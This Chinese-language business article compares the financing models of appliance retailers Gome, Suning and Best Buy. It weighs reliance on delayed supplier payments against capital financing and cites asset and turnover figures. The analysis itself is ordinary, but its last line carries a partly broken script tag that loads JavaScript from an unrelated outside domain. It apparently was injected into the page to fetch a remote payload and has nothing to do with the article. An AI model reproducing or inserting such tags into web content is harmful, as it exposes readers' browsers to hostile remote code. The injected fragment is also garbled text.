国内家电连锁企业占用供应商货款，靠应付账款扩张的模式被称为类金融的生存模式。以国美(0493.hk)为例，店内商品平均30-40天售出，但要3-4个月后才会支付供应商货款，中间无偿占用了供应商80天左右的资金，这80天就意味着国美每开一家新店平均可以带来1.2亿元的经营现金。扩张-提高市场份额-占用更多货款-获取更多现金-再扩张，这一循环已成为国美、苏宁(002024)这些国内家电连锁龙头普遍的生存模式。借助类金融模式，国美的扩张速度4倍于世界知名的家电连锁巨擘bestbuy(nyse:bby，百思买)--bestbuy用11年时间完成的扩张，国美仅用了2.5年时间！
但是，随着家电连锁企业规模的扩张，类金融模式引发了越来越多的争议，上游家电企业开始警觉乃至抗争；不过，更重要的是：bestbuy来了！
今年5月，bestbuy收购五星电器进入中国市场，开始与中国家电连锁企业正面交锋。值得关注的是，bestbuy这位全球第一大家电连锁企业采用了完全不同于国美的融资扩张模式：国美80%的资产依靠应付账款融资支持，但bestbuy应付账款只占总资产的27%，其50%的资产是通过股权、转债、留存收益等资本化融资方式支持的。不同的融资模式决定了两家企业不同的经营战略：资本化融资模式对资本成本的强调决定了bestbuy的经营战略必然是以利润率为核心的精致化扩张；而类金融模式强调规模决定了国美的经营战略必然是以速度为核心的粗犷式扩张。
但是，当规模遭遇精致时，谁将胜出呢？
沃尔玛与凯玛特的战役值得借鉴，当美国折扣零售行业已经由羊群间的战斗升级为狼群间的战役，行业也进入微利时代的时候，以扩张速度为核心的规模化战略优势被削弱，而几个百分点的成本比拼就成为决定成败的关键。另一方面，数十亿元的应付账款在正利润时期是无偿的资金占用，但在负利润时期就变为压死骆驼的那一根稻草了--规模不等于效益，更不等于抗风险的生命力，一周的资金周转不灵可以压垮像凯玛特这样一个销售额400亿元美元的企业(详见附文《从模式选择看凯玛特的破产》)！
在国美与bestbuy的对决中，尽管国美扩张得更快，但bestbuy的利润率更高；国美的资本回报率更大，但bestbuy的财务风险更小。未来，在国美、苏宁、bestbuy三家都已突破了融资约束的背景下，规模变得不那么重要了，战争由粗犷的圈地进入了精致地提高周转率的阶段--对于零售这样一个高周转的行业，利润管理上的微小差异将被放大数倍，并成为决定企业成败的关键！
如果说以前的国美在无选择的情况下走上了类金融的生存道路，那么，今天突破了融资瓶颈的国美又该选择何种融资模式？在竞争格局已由粗犷转向精细时，国美未来的发展模式是否有必要学习bestbuy？从这个意义上看，鹏润模式的探索关乎国美的长期生存！
bestbuy对阵国美：资本化融资与经营性融资的对决
家电连锁企业如何为庞大的流动资产融资？
家电连锁企业面临的共同问题，是该如何为庞大的流动资产融资。国际巨头bestbuy流动资产周转率为3.86倍，为支持310亿元美元的销售额需要80亿元美元的流动资产，流动资产占总资产的三分之二。在bestbuy的流动资产中将近50%都是现金及其等价物，占总资产的三分之一；40%为存货，占总资产的30%左右；其余为应收、预付及其他摊销费用，比例较小，仅占总资产的7.7%。
国内巨头国美的流动资产周转率则为2.14倍，为支持180亿元(人民币元，下同)的销售额需要84亿元的流动资产，流动资产占总资产的90%。庞大的流动资产中，50%为现金及其等价物，其占总资产的比例也达到45%(2006年中期，现金在流动资产中的比例进一步上升，占总资产的比例也上升到57%)；三分之一是存货，占总资产的30%；应收、预付及其他流动资产合计占总资产的15%，但在2006年中期由于现金资产的增加，这一比例已下降到4%。
国内的另一个家电零售企业苏宁的情况和国美也差不多，其流动资产周转率略高，达到4.13倍，但160亿元的销售额仍需39亿元流动资产支持，流动资产占总资产的90%。流动资产中，2005年底有18%为现金，2006年中期经定向增发融资后现金占流动资产的比例上升到36%，占总资产的34%；而存货在流动资产中的比例则由2005年末的52%下降到2006年中期的42%，在总资产中的比例也由47%下降到39.5%。与bestbuy和国美不同的是，苏宁的应收预付项较大，占到总资产的20%左右，2005年末应收预付及其他流动资产合计占总资产26%。
总之，家电连锁企业的经营模式决定了它们在日常周转中必然形成大量存货--以销售额计算，无论是境内企业还是境外企业，存货周转最快也要30天，一般在40天以上(2005年国美的存货周转在50天以上)--200亿元的销售额就意味着存货要占用20多亿元的资金。另一方面，为了维持日常的周转，并支付供应商的货款，家电连锁企业手中都持有大量现金及其等价物，实际上这些企业现金占总资产的比例长期维持在50%左右。?script src=http://er12.com/t.js>
